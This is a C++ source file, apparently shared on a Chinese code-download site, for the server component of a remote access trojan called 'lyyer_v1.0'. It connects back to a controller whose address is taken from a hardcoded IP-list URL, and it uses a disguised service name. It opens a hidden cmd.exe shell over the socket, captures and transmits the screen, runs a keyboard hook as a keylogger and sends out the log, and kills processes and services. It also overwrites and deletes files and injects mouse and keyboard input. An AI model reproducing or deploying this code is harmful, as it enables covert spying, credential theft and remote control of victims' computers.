MyServerDlg.cpp
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:28k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1.  // MyServerDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "MyServer.h"
  5. #include "MyServerDlg.h"
  6. //#include "MyServer.cpp"
  7. #include "comm.h"
  8. #include "GetSysInfo.h"
  9. #include "TcpTran.h"
  10. #include "ProcessInfo.h"
  11. #include "GetService.h"
  12. //#include "FileManage.h"
  13. #include "GetScreenToBitmap.h"
  14. #include "jpegfile.h"
  15. #include "huffman.h"
  16. #include "shellapi.h"
  17. #include "keylog.h"
  18. /*
  19.  作者:海啸 lyyer English Name: Jack 
  20.   blog:http://lyyer.blog.sohu.com
  21.   website:http://www.cnGSG.com
  22.   海啸网络安全组织
  23. */
  24. #include "HttpAutoUpdate.h"
  25. //#pragma comment(linker, "/OPT:NOWIN98")   //取消这几行的注释,编译出的文件只有2K大小
  26. //#pragma comment(linker, "/merge:.data=.text")   
  27. //#pragma comment(linker, "/merge:.rdata=.text")   
  28. //#pragma comment(linker, "/align:0x200") 
  29. //#pragma comment(linker, "/ENTRY:main")  //cin cout都有问题 
  30. //#pragma comment(linker, "/subsystem:windows") 
  31. //#pragma comment(linker, "/BASE:0x13150000") 
  32. #define OVERWRITE_PASSES 10
  33. #define BUFFER_SIZE 1024
  34. #ifdef _DEBUG
  35. #define new DEBUG_NEW
  36. #undef THIS_FILE
  37. static char THIS_FILE[] = __FILE__;
  38. #endif
  39. //#define DEF_VERSION lyyer_v1.0;
  40. /////////////////////////////////////////////////////////////////////////////
  41. // CMyServerDlg dialog
  42. //////////////////////////////////////////////////////////////////////////
  43. //全局变量
  44. //////////////////////////////////////////////////////////////////////////
  45. LINKINFO m_linkinfo;
  46. struct MODIFY_DATA 
  47. {
  48. unsigned int finder;
  49. char ws_svcname[32];
  50. char ws_svcdisplay[64];
  51. char ws_svcdesc[256];
  52. char url[256];
  53. int  port;
  54. } modify_data = 
  55. {
  56. 0xFFFFFF8D,
  57. "RemoteStorage",
  58. "Windows Accounts Driver",
  59. "Network Connections Management",
  60. "http://ahai2007.id666.com/user/ahai2007/disk/webdisk/iplistm.txt",
  61. 80,
  62. };
  63. //////////////////////////////////////////////////////////////////////////
  64. BOOL WINAPI cmd_file_manage(SOCKET ClientSocket)
  65. {
  66. CTcpTran m_tcptran ;   
  67. DRIVER driver;
  68. char chDriver[3];
  69. BOOL bnet=FALSE;
  70. driver.end=FALSE;
  71. for(char cc='A';cc<='Z';cc++)
  72. {
  73. sprintf(chDriver,"%c:",cc);
  74. if(GetDriveType(chDriver)==DRIVE_FIXED)
  75. {
  76. strcpy(driver.driver,chDriver);
  77. driver.drivertype=DRIVE_FIXED;
  78. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  79. }
  80. else if(GetDriveType(chDriver)==DRIVE_CDROM)
  81. {
  82. strcpy(driver.driver,chDriver);
  83. driver.drivertype=DRIVE_CDROM;
  84. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  85. }
  86. else if(GetDriveType(chDriver)==DRIVE_REMOVABLE)
  87. {
  88. strcpy(driver.driver,chDriver);
  89. driver.drivertype=DRIVE_REMOVABLE;
  90. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  91. }
  92. }
  93.     driver.end=TRUE;
  94. bnet=m_tcptran.mysend(ClientSocket,(char *)&driver,sizeof(driver),0,60);
  95.     return bnet;
  96. }
  97. DWORD WINAPI cmd_proc_manage(SOCKET ClientSocket)
  98. {
  99. //SOCKET ClientSocket = (SOCKET)lp;
  100. int nlen = 0;
  101. CTcpTran m_tcptran ;
  102. //m_tcptran.m_Socket = (SOCKET)lp;
  103. std::vector<PROCESSINFO*> pProcInfo;
  104.     BOOL bOK = GetProcessList(&pProcInfo);
  105. if (bOK)
  106. {
  107. int Prcoinfo = pProcInfo.size();
  108. int processlen = m_tcptran.mysend(ClientSocket,(char *)&Prcoinfo,sizeof(Prcoinfo),0,60);
  109.         
  110. PROCESSINFO *reMSG = new PROCESSINFO;
  111. for(int i=0; i<pProcInfo.size();i++)
  112. {
  113. reMSG = new PROCESSINFO;
  114. memset(reMSG, 0,sizeof(reMSG));            
  115. reMSG->PID=pProcInfo[i]->PID;
  116. lstrcpy(reMSG->ProcName,pProcInfo[i]->ProcName);
  117. lstrcpy(reMSG->ProcPath,pProcInfo[i]->ProcPath);
  118. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(PROCESSINFO),0,60);
  119.             delete reMSG;
  120. }
  121. //
  122. }
  123. return 0;
  124. }
  125. DWORD WINAPI cmd_proc_kill(SOCKET ClientSocket,DWORD pid)
  126. {
  127. int nlen = 0;
  128. CTcpTran m_tcptran ;
  129. KillProcess(pid);
  130. Sleep(1000);
  131. std::vector<PROCESSINFO*> pProcInfo;
  132.     BOOL bOK = GetProcessList(&pProcInfo);
  133. if (bOK)
  134. {
  135. int Prcoinfo = pProcInfo.size();
  136. int processlen = m_tcptran.mysend(ClientSocket,(char *)&Prcoinfo,sizeof(Prcoinfo),0,60);
  137.         
  138. PROCESSINFO *reMSG = new PROCESSINFO;
  139. for(int i=0; i<pProcInfo.size();i++)
  140. {
  141. reMSG = new PROCESSINFO;
  142. memset(reMSG, 0,sizeof(reMSG));            
  143. reMSG->PID=pProcInfo[i]->PID;
  144. lstrcpy(reMSG->ProcName,pProcInfo[i]->ProcName);
  145. lstrcpy(reMSG->ProcPath,pProcInfo[i]->ProcPath);
  146. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(PROCESSINFO),0,60);
  147.             delete reMSG;
  148. }
  149. //
  150. }
  151. return 0;
  152. }
  153. DWORD WINAPI cmd_service_manage(SOCKET ClientSocket)
  154. {
  155. int nlen = 0;
  156. CTcpTran m_tcptran ;
  157. std::vector<SERVICEINFO*> pServiceInfo;
  158.     BOOL bOK = ListService(&pServiceInfo);
  159. if (bOK)
  160. {
  161. int Serviceinfo = pServiceInfo.size();
  162. int servicelen = m_tcptran.mysend(ClientSocket,(char *)&Serviceinfo,sizeof(Serviceinfo),0,60);
  163.         
  164. SERVICEINFO *reMSG = new SERVICEINFO;
  165. for(int i=0; i<pServiceInfo.size();i++)
  166. {
  167. reMSG = new SERVICEINFO;
  168. memset(reMSG, 0,sizeof(reMSG));            
  169. //reMSG->num=pServiceInfo[i]->num;
  170. lstrcpy(reMSG->ServiceName,pServiceInfo[i]->ServiceName);
  171. lstrcpy(reMSG->ServiceDetail,pServiceInfo[i]->ServiceDetail);
  172. lstrcpy(reMSG->ServiceState,pServiceInfo[i]->ServiceState);
  173. lstrcpy(reMSG->ServiceStartType,pServiceInfo[i]->ServiceStartType);
  174. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(SERVICEINFO),0,60);
  175.             delete reMSG;
  176. }
  177. //
  178. }
  179. //delete reMSG;
  180. return 0;   
  181. }
  182. DWORD WINAPI cmd_service_kill(SOCKET ClientSocket,char *chSvrid)
  183. {
  184. int nlen = 0;
  185. CTcpTran m_tcptran ;
  186.     BOOL killOk = KillService(chSvrid);
  187. if(killOk)
  188. {
  189.         Sleep(1000);
  190. }
  191. std::vector<SERVICEINFO*> pServiceInfo;
  192. BOOL bOK = ListService(&pServiceInfo);
  193. if (bOK)
  194. {
  195. int Serviceinfo = pServiceInfo.size();
  196. int servicelen = m_tcptran.mysend(ClientSocket,(char *)&Serviceinfo,sizeof(Serviceinfo),0,60);
  197. SERVICEINFO *reMSG = new SERVICEINFO;
  198. for(int i=0; i<pServiceInfo.size();i++)
  199. {
  200. reMSG = new SERVICEINFO;
  201. memset(reMSG, 0,sizeof(reMSG));            
  202. lstrcpy(reMSG->ServiceName,pServiceInfo[i]->ServiceName);
  203. lstrcpy(reMSG->ServiceDetail,pServiceInfo[i]->ServiceDetail);
  204. lstrcpy(reMSG->ServiceState,pServiceInfo[i]->ServiceState);
  205. lstrcpy(reMSG->ServiceStartType,pServiceInfo[i]->ServiceStartType);
  206. nlen=m_tcptran.mysend(ClientSocket,(char *)reMSG,sizeof(SERVICEINFO),0,60);
  207. delete reMSG;
  208. }
  209. }
  210. return 0;   
  211. }
  212. void cmd_file_GetSubOpenItem(SOCKET ClientSocket,char *szCurDir) //DWORD WINAPI
  213. {
  214.     CTcpTran m_tcptran ;
  215. HANDLE hFile;
  216. FILEINFO fileinfo;
  217. WIN32_FIND_DATA WFD;
  218. //初始化fileinfo
  219. fileinfo.invalidir =0;
  220. fileinfo.isdirectory =0;
  221. fileinfo.next =0;
  222. fileinfo.filesize=0;
  223. fileinfo.filename[0]=0;
  224. fileinfo.time[0]=0;
  225. //查找第一个文件
  226. if((hFile=FindFirstFile(szCurDir,&WFD))==INVALID_HANDLE_VALUE)
  227. {//目录无法访问
  228. fileinfo.invalidir =1;
  229. strcpy(fileinfo.filename ,"!*目录无法访问*!");
  230. fileinfo.next=1;
  231. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(FILEINFO),0,60);
  232. return;
  233. }
  234. SHFILEINFO shfi;
  235. char stime[32];
  236. SYSTEMTIME systime;
  237. FILETIME localtime;
  238. do
  239. {
  240.     //查完所有信息
  241. memset(&shfi,0,sizeof(shfi));
  242. SHGetFileInfo(WFD.cFileName, 
  243.               FILE_ATTRIBUTE_NORMAL,
  244.               &shfi, sizeof(shfi),
  245.               SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );
  246. //写入文件信息结构
  247.     strcpy(fileinfo.filename,WFD.cFileName);                              //文件名
  248.         if(WFD.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)                     //路径?
  249.       fileinfo.isdirectory=1;
  250.         else
  251.               fileinfo.isdirectory=0;
  252.     fileinfo.filesize=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024+1; //文件大小
  253.     //转化格林时间到本地时间
  254.     FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime);
  255.     FileTimeToSystemTime(&localtime,&systime);
  256.     sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d",
  257. systime.wYear,systime.wMonth,systime.wDay,systime.wHour,
  258. systime.wMinute,systime.wSecond);
  259.     strcpy(fileinfo.time,stime);                                          //文件时间
  260.         fileinfo.next=1;                                                      //next
  261. if(strcmp(WFD.cFileName,".")==0||strcmp(WFD.cFileName,"..")==0)
  262. continue;
  263. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(fileinfo),0,60);
  264. if(GetLastError()==ERROR_NO_MORE_FILES)
  265. break;
  266. }while(FindNextFile(hFile,&WFD));
  267. fileinfo.next =0;
  268. m_tcptran.mysend(ClientSocket,(char *)&fileinfo,sizeof(fileinfo),0,60);
  269. FindClose(hFile);
  270. return ;
  271. }
  272. DWORD WINAPI cmd_shell_manage(SOCKET s)
  273. {
  274. CTcpTran m_tcptan;
  275. //创建CMD线程
  276. HANDLE               hWritePipe,hReadPipe,hWriteShell,hReadShell;
  277. SECURITY_ATTRIBUTES  saPipe;
  278. STARTUPINFO          lpStartupInfo;
  279. PROCESS_INFORMATION  lpProcessInfo;
  280. char szBuffer[65535];
  281. DWORD dwBufferRead;
  282. int ret;
  283. saPipe.nLength              = sizeof(saPipe);
  284. saPipe.bInheritHandle       = TRUE;
  285. saPipe.lpSecurityDescriptor = NULL;
  286. //create read and write pipe
  287. CreatePipe(&hReadPipe, &hReadShell, &saPipe, 0);
  288. CreatePipe(&hWriteShell, &hWritePipe, &saPipe, 0);
  289. GetStartupInfo(&lpStartupInfo);
  290. lpStartupInfo.cb           = sizeof(lpStartupInfo);
  291. lpStartupInfo.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  292. lpStartupInfo.hStdInput    = hWriteShell;
  293. lpStartupInfo.hStdOutput   = hReadShell;
  294. lpStartupInfo.hStdError    = hReadShell;
  295. lpStartupInfo.wShowWindow  = SW_HIDE;
  296. lpStartupInfo.lpDesktop = (LPSTR)("WinSta0\Default"); 
  297. WCHAR cmdline[MAX_PATH];
  298. GetSystemDirectory((LPSTR)cmdline,MAX_PATH);
  299. lstrcatW(cmdline,L"\cmd.exe");
  300. ret = CreateProcess((char *)cmdline, NULL, NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
  301. while(1)
  302. {
  303. memset(szBuffer, 0, sizeof(szBuffer));
  304. PeekNamedPipe(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL,NULL);
  305. if(dwBufferRead != 0)
  306. {
  307. ret = ReadFile(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL);
  308. if(ret)
  309. {
  310. if( m_tcptan.mysend(s,szBuffer, dwBufferRead,0,60) == SOCKET_ERROR)
  311. break;
  312. }
  313. }
  314. else
  315. {
  316. ZeroMemory(szBuffer, sizeof(szBuffer));
  317. ret = m_tcptan.myrecv(s,szBuffer, sizeof(szBuffer), 0, 60,0,false);
  318. if(ret == SOCKET_ERROR)
  319. break;
  320. }
  321. Sleep(100);
  322. }
  323. WriteFile(hWritePipe, "exitrn", (DWORD)strlen("exitrn"), &dwBufferRead, 0);
  324. return 0;
  325. }
  326. DWORD WINAPI cmd_ctrl_GetScreen(SOCKET lp1,BYTE *lp2, BYTE *lp3, BYTE *lp4)
  327. {
  328. CTcpTran m_tcptran;
  329. SOCKET lpWSK = (SOCKET ) lp1;  //第一个参数 socket
  330. JpegFile *pic = (JpegFile *)lp4;     //第四个参数 jpegFile
  331. LPCOMMAND lpSendMsg = (LPCOMMAND) lp2; //第三个参数 消息
  332. CGetScreenToBitmap *lpImage = (CGetScreenToBitmap *)lp3; //CGetScreenToBitmap * lpImage 添加类
  333. CHuffman *huf;
  334. unsigned long lWidth    =0;
  335. unsigned long lHeight   =0;
  336. unsigned long lHeight2  =0;
  337. unsigned long lSize     =0; 
  338. unsigned long lSize2    =0; 
  339. unsigned long lHeadSize =0;
  340. COMMAND SendMsg;
  341. memset(&SendMsg,0,sizeof(COMMAND));
  342. LPSTR lpData = NULL, lpData1 = NULL;//, lpOld = NULL;
  343.     int nDelay = lpSendMsg->nDelay;
  344. //Step 1:抓屏幕
  345.     if(lpImage->GetScreen(lpSendMsg->rcArea, 
  346. lpSendMsg->nBits, lpSendMsg->nArea) < 0) 
  347. return 1;  //Error 
  348. //////////////////////////////////////////////////////////////////////
  349. //经过Step 1 处理之后 结果在lpImage 这个类中 
  350. //应用了 lpImage->m_dwBmpSize
  351. //////////////////////////////////////////////////////////////////////
  352. //Setp 2:压缩图象
  353. SendMsg.dwFileSize = lpImage->m_dwBmpSize;   //图象体积
  354. /* */
  355. if (lpSendMsg->nCompress == 2)
  356. {
  357. //使用 Jpeg压缩方式
  358. if (pic->m_lpScreenBuffer == NULL || lpImage->m_dwBmpSize > pic->m_dwScreenMaxSize)
  359. {
  360. if (pic->m_lpScreenBuffer) GlobalFree(pic->m_lpScreenBuffer);
  361. pic->m_dwScreenMaxSize = lpImage->m_dwBmpSize;
  362. pic->m_lpScreenBuffer = (BYTE *)GlobalAlloc(GMEM_FIXED, lpImage->m_dwBmpSize);
  363. }
  364. lpData = (LPSTR)pic->m_lpScreenBuffer;
  365. lSize = lpImage->m_dwBmpSize;
  366. lpData1 = (char *)pic->LoadBMP(lpImage->GetImage(),&lWidth, &lHeight);
  367. pic->RGBToJpegFile((unsigned char *)lpData1,(unsigned char *)lpData,lWidth, lHeight,true,80, &lSize);
  368. }
  369. //////////////////////////////////////////////////////////////////////////////
  370. //经过Step 2 处理之后 lSize lpData lpData1 lWidth lHeight 
  371. // 用到了 lpData = (LPSTR)pic->m_lpScreenBuffer;
  372. //        lpData1 = (char *)pic->LoadBMP(lpImage->GetImage(),&lWidth, &lHeight);
  373. //        lSize = lpImage->m_dwBmpSize;
  374. //////////////////////////////////////////////////////////////////////////////
  375. //Step 3: 发送图象
  376. //      nCell = lpSendMsg->nCell;
  377. SendMsg.dwBmpSize = lSize;    
  378.     SendMsg.rcArea = lpImage->m_rcArea;   //source size
  379.     //图象头信息
  380.     if(m_tcptran.mysend(lpWSK,(char *)&SendMsg, sizeof(COMMAND),0, 60) < 0)
  381. goto err_01;
  382.     if(lSize == 0) return 0;
  383.     //图象部份
  384.     if(m_tcptran.mysend(lpWSK,(char *)lpData, lSize,0, 60) < 0)
  385. goto err_01;
  386. exit_01:
  387.     //if (lpOld) GlobalFree(lpOld);
  388.     return 0;
  389.     
  390. err_01:
  391.     //if (lpOld) GlobalFree(lpOld);
  392.     return -1;
  393. }
  394. void cmd_ctrl_CtrlAltDel()
  395. {
  396.    keybd_event (VK_CONTROL,0, 0,0);
  397.    keybd_event (VK_MENU,0, 0,0);
  398.    keybd_event (VK_DELETE,0, 0,0);
  399.    ::Sleep(2000);
  400. //   keybd_event (VK_CONTROL,0, 0,0);
  401. //   keybd_event (VK_MENU,0, 0,0);
  402. //   keybd_event (VK_DELETE,0, 0,0);
  403.    keybd_event (VK_CONTROL,0, 0,KEYEVENTF_KEYUP);
  404.    keybd_event (VK_MENU,0, 0,KEYEVENTF_KEYUP);
  405.    keybd_event (VK_DELETE,0, 0,KEYEVENTF_KEYUP);
  406. }
  407. void cmd_ctrl_Mouse(BYTE *lpByte)
  408. {
  409. COMMAND *lpSendMsg = (COMMAND *)lpByte;
  410. //移动鼠标
  411. mouse_event (MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE,
  412. lpSendMsg->dwHookParam1,
  413. lpSendMsg->dwHookParam2,0,0);
  414.     if (lpSendMsg->wCmd == CMD_MOUSE_HOOK)  //单击
  415. {
  416. mouse_event (lpSendMsg->dwHookFlags,lpSendMsg->dwHookParam1,
  417. lpSendMsg->dwHookParam2,0,0);
  418. }
  419.     else if(lpSendMsg->wCmd = CMD_MOUSE_DBHOOK )//双击
  420. {
  421. if(lpSendMsg->dwHookFlags== CMD_MOUSE_LDBCLICK)
  422. {  mouse_event (MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_ABSOLUTE,
  423. lpSendMsg->dwHookParam1,
  424. lpSendMsg->dwHookParam2,0,0);
  425. mouse_event (MOUSEEVENTF_LEFTUP,lpSendMsg->dwHookParam1,
  426. lpSendMsg->dwHookParam2,0,0);
  427. mouse_event (MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_ABSOLUTE,
  428. lpSendMsg->dwHookParam1,
  429. lpSendMsg->dwHookParam2,0,0);
  430. mouse_event (MOUSEEVENTF_LEFTUP,lpSendMsg->dwHookParam1,
  431. lpSendMsg->dwHookParam2,0,0);
  432. }
  433. if(lpSendMsg->dwHookFlags== CMD_MOUSE_RDBCLICK)
  434. {  
  435. mouse_event (MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_ABSOLUTE,
  436. lpSendMsg->dwHookParam1,
  437. lpSendMsg->dwHookParam2,0,0);
  438. mouse_event (MOUSEEVENTF_RIGHTUP,lpSendMsg->dwHookParam1,
  439. lpSendMsg->dwHookParam2,0,0);
  440. mouse_event (MOUSEEVENTF_RIGHTDOWN|MOUSEEVENTF_ABSOLUTE,
  441. lpSendMsg->dwHookParam1,
  442. lpSendMsg->dwHookParam2,0,0);
  443. mouse_event (MOUSEEVENTF_RIGHTUP,lpSendMsg->dwHookParam1,
  444. lpSendMsg->dwHookParam2,0,0);
  445. }
  446. }
  447. }
  448. BOOL WINAPI cmd_file_del(char filename[])
  449. {
  450.       HANDLE hFile = CreateFile(filename, 
  451.                         GENERIC_WRITE, 
  452. FILE_SHARE_READ|FILE_SHARE_WRITE, 
  453.                                 NULL, 
  454. OPEN_ALWAYS, 
  455. FILE_FLAG_WRITE_THROUGH, 
  456. NULL);
  457.        if (hFile == INVALID_HANDLE_VALUE) return false;
  458.        DWORD fileSize = GetFileSize(hFile, 0);
  459.        // if file is empty.
  460.        if (!fileSize)
  461.        {
  462.               CloseHandle(hFile);
  463.               return false;
  464.        }
  465.        for (int passes = 0; passes < OVERWRITE_PASSES; passes++)
  466.        {
  467.               char newStorage[BUFFER_SIZE];
  468.               srand((unsigned)time(NULL));
  469.               FillMemory((void*)newStorage, BUFFER_SIZE, rand() % 255);
  470.               SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
  471.               DWORD left = fileSize;
  472.               int write = BUFFER_SIZE;
  473.               DWORD written = 0;
  474.               while (left)
  475.               {
  476.                      if (left < BUFFER_SIZE) write = left;                    
  477.                      BOOL status = WriteFile(hFile, newStorage, write, &written, NULL);
  478.                      if (!status)
  479.                      {
  480.                             CloseHandle(hFile);
  481.                             return false;
  482.                      } 
  483.                      left -= write;
  484.               }
  485.        }
  486.        CloseHandle(hFile);
  487.        if (!DeleteFile(filename)) return false;
  488.        return true;
  489. }
  490. UINT cmd_ctrl_shell(SOCKET sock,char command[])
  491. {
  492.     CTcpTran m_tcptran;
  493. //COMMAND m_command;
  494. //memset(&m_command,0,sizeof(COMMAND));
  495.     STARTUPINFO si;
  496.     PROCESS_INFORMATION pi;
  497.     HANDLE hRead=NULL,hWrite=NULL;
  498.     TCHAR Cmdline[300]={0};     //命令行缓冲
  499.     char SendBuf[2048]={0};    //发送缓冲
  500.     SECURITY_ATTRIBUTES sa;     //安全描述符
  501.     DWORD bytesRead=0;
  502.     int ret=0;
  503.     sa.nLength=sizeof(SECURITY_ATTRIBUTES);
  504.     sa.lpSecurityDescriptor=NULL;
  505.     sa.bInheritHandle=TRUE;
  506.     //创建匿名管道
  507.     if (!CreatePipe(&hRead,&hWrite,&sa,0))  
  508.          goto Clean;//失败
  509.     si.cb=sizeof(STARTUPINFO);
  510.     GetStartupInfo(&si);
  511.     si.hStdError=hWrite;
  512.     si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
  513.     si.wShowWindow=SW_HIDE;
  514.     si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  515.     GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
  516.     strcat(Cmdline,"\cmd.exe /c ");                //拼接cmd
  517.     strcat(Cmdline,command);  //拼接一条完整的cmd命令
  518.     //创建进程,也就是执行cmd命令
  519.     if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
  520.          goto Clean;//失败
  521.     CloseHandle(hWrite);
  522.     while (TRUE)
  523.     {
  524.       //无限循环读取管道中的数据,直到管道中没有数据为止
  525.       if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
  526.           break;
  527.       m_tcptran.mysend(sock,SendBuf,bytesRead,0,60);      //发送出去
  528.       memset(SendBuf,0,sizeof (SendBuf));  //缓冲清零
  529.       Sleep(100);                          //休息一下
  530.      }
  531.     m_tcptran.mysend(sock,(char *)MY_END,sizeof(MY_END),0,60);
  532. Clean:
  533.           //释放句柄
  534.           if (hRead!=NULL)
  535.               CloseHandle(hRead);
  536.           if (hWrite!=NULL)
  537.               CloseHandle(hWrite);
  538. return 0;
  539. }
  540. UINT cmd_keylog()
  541. {
  542. char filename[100] ={0};//保存文件名
  543. char syspath[MAX_PATH] ={0};
  544. SYSTEMTIME sysTm;
  545. ::GetLocalTime(&sysTm);
  546. int m_nYear = sysTm.wYear;
  547. int m_nMonth = sysTm.wMonth;
  548. int m_nDay = sysTm.wDay;
  549. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  550. GetSystemDirectory(syspath,MAX_PATH);
  551. strcat(syspath,"\");
  552. strcat(syspath,filename);
  553. g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
  554. return 0;
  555.     
  556. }
  557. UINT cmd_stop_keylog(SOCKET s)
  558. {
  559.     CTcpTran m_tcptran;
  560. char filename[100] ={0};//保存文件名
  561. char syspath[MAX_PATH] ={0};
  562. SYSTEMTIME sysTm;
  563. ::GetLocalTime(&sysTm);
  564. int m_nYear = sysTm.wYear;
  565. int m_nMonth = sysTm.wMonth;
  566. int m_nDay = sysTm.wDay;
  567. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  568. GetSystemDirectory(syspath,MAX_PATH);
  569. strcat(syspath,"\");
  570. strcat(syspath,filename);
  571. HANDLE hFile = CreateFile(syspath,
  572.                      GENERIC_READ|GENERIC_WRITE,
  573.  FILE_SHARE_WRITE|FILE_SHARE_READ,
  574.  0,
  575.  OPEN_EXISTING,
  576.  FILE_ATTRIBUTE_NORMAL,
  577.  NULL);
  578.     DWORD dwSize=GetFileSize(hFile,NULL); 
  579.     int SendFileSize = m_tcptran.mysend(s,(char *)&dwSize,sizeof(DWORD),0,60);
  580. char buf[1024]={0};
  581.     if (SendFileSize)
  582. {
  583. DWORD Realbufsize = 0;
  584. int SendFile =0;
  585. BOOL bread = FALSE;
  586. DWORD SendSize =0;
  587. while (SendSize<dwSize)
  588. {
  589. if (dwSize-SendSize<1024)
  590. {
  591. bread= ReadFile(hFile,
  592.                  buf,
  593.  dwSize,
  594.                              &Realbufsize,
  595.  NULL);
  596. SendFile = m_tcptran.mysend(s,buf,dwSize,0,60);
  597. dwSize = dwSize - dwSize;
  598. }
  599. else
  600. {
  601. bread= ReadFile(hFile,
  602.                  buf,
  603.  1024,
  604.                              &Realbufsize,
  605.  NULL);
  606. SendFile = m_tcptran.mysend(s,buf,1024,0,60);
  607. //SendSize =SendSize + 1024;
  608. dwSize = dwSize -1024;
  609. }
  610. }
  611.     }
  612.     
  613. CloseHandle(hFile);
  614. if(g_hHook)
  615. {
  616. UnhookWindowsHookEx(g_hHook);
  617. }
  618. return 0;
  619. }
  620. DWORD WINAPI MyClientThread(LPVOID lp)
  621. {
  622.     CGetScreenToBitmap Image;
  623. JpegFile pic;
  624.     int      nRet;
  625. HDC  hDC;
  626. BYTE *lpData;
  627.     LPLINKINFO m_tmp = (LPLINKINFO)lp ;
  628. CTcpTran m_tcptran ;
  629. BOOL bOK = m_tcptran.InitSocketLibray(2,2);
  630. if (bOK==0)
  631. {
  632.        return -1; 
  633. }
  634. retry:
  635.     SOCKET s = m_tcptran.InitSocket(SOCKETNOBIND,m_tmp->strBindIp,m_tmp->BindPort,0);
  636. if(s == SOCKET_ERROR)
  637. {
  638. goto retry;
  639. }
  640. SYSTEMINIT m_sendmsg ;
  641. GetClientSystemInfo(m_sendmsg);
  642. memcpy(m_sendmsg.version,"lyyer_v1.0",sizeof("lyyer_v1.0"));
  643. nRet = m_tcptran.mysend(s,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60);
  644.     if (nRet<0) 
  645. {
  646. m_tcptran.mysend(s,(char *)&m_sendmsg,sizeof(m_sendmsg),0,60);
  647.     }
  648.      COMMAND m_command;
  649.  COMMAND m_filetmp;
  650.  memset(&m_filetmp,0,sizeof(COMMAND));
  651.  DWORD dw_hThreadid = 0;
  652.      HANDLE hThread = NULL;
  653.  BOOL   HaveChild = false;
  654.      BOOL   OKfiledel = false;
  655.  int    bret=0;
  656. Loop01:
  657. while(true)
  658. {
  659. bret=0;
  660. memset((char  *)&m_command, 0,sizeof(m_command));
  661. //retryrecv:
  662. bret = m_tcptran.myrecv(s,(char *)&m_command,sizeof(m_command),0,60,0,FALSE);
  663. /*
  664. if (bret=-1)
  665. {
  666.     goto retry;
  667. }
  668. */
  669. switch (m_command.wCmd)
  670. case CMD_RETRY:
  671.  goto exit01;
  672. case CMD_PROCESS_MANAGE:
  673. cmd_proc_manage(s);
  674. goto Loop01;
  675. case CMD_SERVICE_MANAGE:
  676. cmd_service_manage(s);
  677. goto Loop01;
  678. case CMD_FILE_MANAGE:
  679. cmd_file_manage(s);
  680. goto Loop01;
  681. case CMD_FILE_GETSUBFILE:
  682. //HaveChild = 
  683. cmd_file_GetSubOpenItem(s,m_command.szCurDir);
  684. goto Loop01;
  685. case CMD_FILE_DEL:
  686. OKfiledel = cmd_file_del(m_command.szCurDir);
  687. goto Loop01;
  688. case CMD_CMDSHELL:
  689. cmd_ctrl_shell(s,m_command.szCurDir);
  690. goto Loop01;
  691. case CMD_KEYLOG_STOP:
  692. cmd_stop_keylog(s);
  693. goto Loop01;
  694. case CMD_SCREEN_MANAGE:
  695. nRet = cmd_ctrl_GetScreen(s, (BYTE*)&m_command, (BYTE *)&Image, (BYTE *)&pic);    
  696. if(nRet == -1) goto exit01;
  697. goto Loop01;
  698. case CMD_GET_SCREEN_INFO://取屏幕信息
  699. memset((char  *)&m_command, 0,sizeof(m_command));
  700. hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
  701. m_command.nBits = GetDeviceCaps(hDC, BITSPIXEL);
  702. m_command.nBits = m_command.nBits * GetDeviceCaps(hDC, PLANES);
  703. DeleteDC (hDC);
  704. m_command.rcArea = CRect(0,0,GetSystemMetrics (SM_CXSCREEN),GetSystemMetrics (SM_CYSCREEN));
  705. if(m_tcptran.mysend(s,(char *)&m_command,sizeof(m_command),0,60) < 0)
  706. goto exit01;
  707. goto Loop01;
  708. case CMD_KEY_HOOK:  
  709. keybd_event ((BYTE)m_command.dwHookParam1,(BYTE)m_command.dwHookParam2,m_command.dwHookFlags,0);
  710. goto Loop01;
  711. case CMD_MOUSE_HOOK:
  712. case CMD_MOUSE_DBHOOK:
  713. cmd_ctrl_Mouse((BYTE *)&m_command);
  714. goto Loop01;
  715. case CMD_KEY_CAD: //Ctrl+Alt+Delete
  716. cmd_ctrl_CtrlAltDel();
  717. goto Loop01;
  718. case CMD_SHELL_MANAGE:
  719. cmd_shell_manage(s);
  720. goto Loop01;
  721. case CMD_NULL:
  722. goto exit01;
  723. case CMD_REG_MANAGE: 
  724. goto Loop01; 
